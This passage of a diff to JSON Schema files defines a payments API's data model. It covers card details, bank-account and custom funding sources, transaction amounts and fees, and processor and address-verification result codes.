uuid of the card created", + "type": "string" + }, + "encrypted": { + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" + }, + "encryptedExpirationDate": { + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" + }, + "expirationDate": { + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" + }, + "id": { + "description": "The id of the card created.", + "type": "integer" + }, + "issuer": { + "type": "string" + }, + "key": { + "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", + "items": { + "properties": { + "id": { + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + }, + "numberFirst6": { + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" + }, + "numberHashed": { + "type": "string" + }, + "numberLast4": { + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" + }, + "type": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Paze payment token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } + } + }, + "title": "Paze payment Token", + "type": "object" + }, + { + "$defs": { + "BankAccountHolderType": { + "enum": [ + "PERSONAL", + "BUSINESS" + ], + "type": "string" + }, + "BankAccountType": { + "enum": [ + "CHECKING", + "SAVINGS" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/bank-account.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "description": "This object represents BankAccount.", + "properties": { + "accountHolderType": { + "enum": [ + "PERSONAL", + "BUSINESS" + ], + "type": "string" + }, + "accountNumber": { + "type": "string" + }, + "accountNumberLastFour": { + "type": "string" + }, + "accountType": { + "enum": [ + "CHECKING", + "SAVINGS" + ], + "type": "string" + }, + "bankName": { + "type": "string" + }, + "country": { + "type": "string" + }, + "currency": { + "type": "string" + }, + "ownerName": { + "description": "The owner name of bank account.", + "type": "string" + }, + "routingNumber": { + "type": "string" + } + }, + "title": "Bank Account", + "type": "object" + }, + { + "$id": "https://poynt.godaddy.com/schemas/funding-source/custom-funding-source.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "description": "Funding source that can be processed using a specific provider and / or processor", + "properties": { + "customFundingType": { + "description": "Type of the custom funding source", + "maxLength": 64, + "type": "string" + }, + "description": { + "description": "Description about the funding source", + "maxLength": 512, + "type": "string" + }, + "name": { + "description": "Display name of the funding source", + "maxLength": 64, + "type": "string" + }, + "processor": { + "description": "Processor to be used for the funding source", + "maxLength": 64, + "type": "string" + }, + "provider": { + "description": "Provider that can handle the funding source", + "maxLength": 64, + "type": "string" + } + }, + "required": [ + "customFundingType", + "provider" + ], + "title": "Custom Funding source", + "type": "object" + }, + { + "$id": "https://poynt.godaddy.com/schemas/funding-source/cash.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "description": "Cash funding source", + "properties": null, + "title": "Cash Funding Source", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "legacyMetadata": { + "$defs": { + "LegacyAdjustmentRecord": { + "description": "This object shows a summary of the adjustment.", + "properties": { + "amountChanges": { + "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple amount used for processing transaction", + "properties": { + "amount": { + "description": "Transaction amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Itemized amount details used for processing transaction", + "properties": { + "cashback": { + "description": "Cashback details", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Fee associated with transaction", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "Simple Fee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Governed fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { + "programType": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", "type": "string" }, - "cvResult": { - "description": "The card verification results.", + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + } + }, + "type": { + "description": "How the fee should be appliedbinary", "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] + "FIXED", + "HYBRID", + "PERCENTAGE" + ], + "example": "FIXED", + "type": "string" + } + }, + "required": [ + "amount", + "programType", + "type" + ], + "title": "Governed Fee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "required": [ + "amountType" + ], + "title": "Amount", + "type": "object" + }, + "amounts": { + "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple amount used for processing transaction", + "properties": { + "amount": { + "description": "Transaction amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Itemized amount details used for processing transaction", + "properties": { + "cashback": { + "description": "Cashback details", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Fee associated with transaction", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "debitResponseCode": { + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "Simple Fee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Governed fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", + "programType": { + "description": "Fee Program type", "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", "type": "string" }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true } }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", + "type": { + "description": "How the fee should be appliedbinary", "enum": [ - "Successful", - "Failure" + "FIXED", + "HYBRID", + "PERCENTAGE" ], + "example": "FIXED", "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 } + }, + "required": [ + "amount", + "programType", + "type" + ], + "title": "Governed Fee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "required": [ + "amountType" + ], + "title": "Amount", + "type": "object" + }, + "createdAt": { + "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "exchangeRate": { + "description": "Exchange rate used for this adjustment.", + "properties": { + "businessId": { + "type": "string" + }, + "cardAmount": { + "format": "int64", + "type": "integer" + }, + "cardCurrency": { + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "cardTipAmount": { + "format": "int64", + "type": "integer" + }, + "disclaimer": { + "type": "string" + }, + "markupInfo1": { + "type": "string" + }, + "markupInfo2": { + "type": "string" + }, + "markupPercentage": { + "type": "string" + }, + "provider": { + "type": "string" + }, + "rate": { + "format": "int64", + "type": "integer" + }, + "ratePrecision": { + "format": "int64", + "type": "integer" + }, + "requestedAt": { + "format": "date-time", + "type": "string" + }, + "signature": { + "type": "string" + }, + "tipAmount": { + "format": "int64", + "type": "integer" + }, + "txnAmount": { + "format": "int64", + "type": "integer" + }, + "txnCurrency": { + "maxLength": 3, + "minLength": 3, + "type": "string" + } + }, + "type": "object" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Response from processor received as part of processing transaction", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor response for credit card", + "properties": { + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + "maxLength": 32, + "type": "string" + }, + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address verification result details obtained from processor", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "Address Verification Results", + "type": "object" + }, + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "format": "int64", - "description": "Remaining balance amount" - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + }, + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + 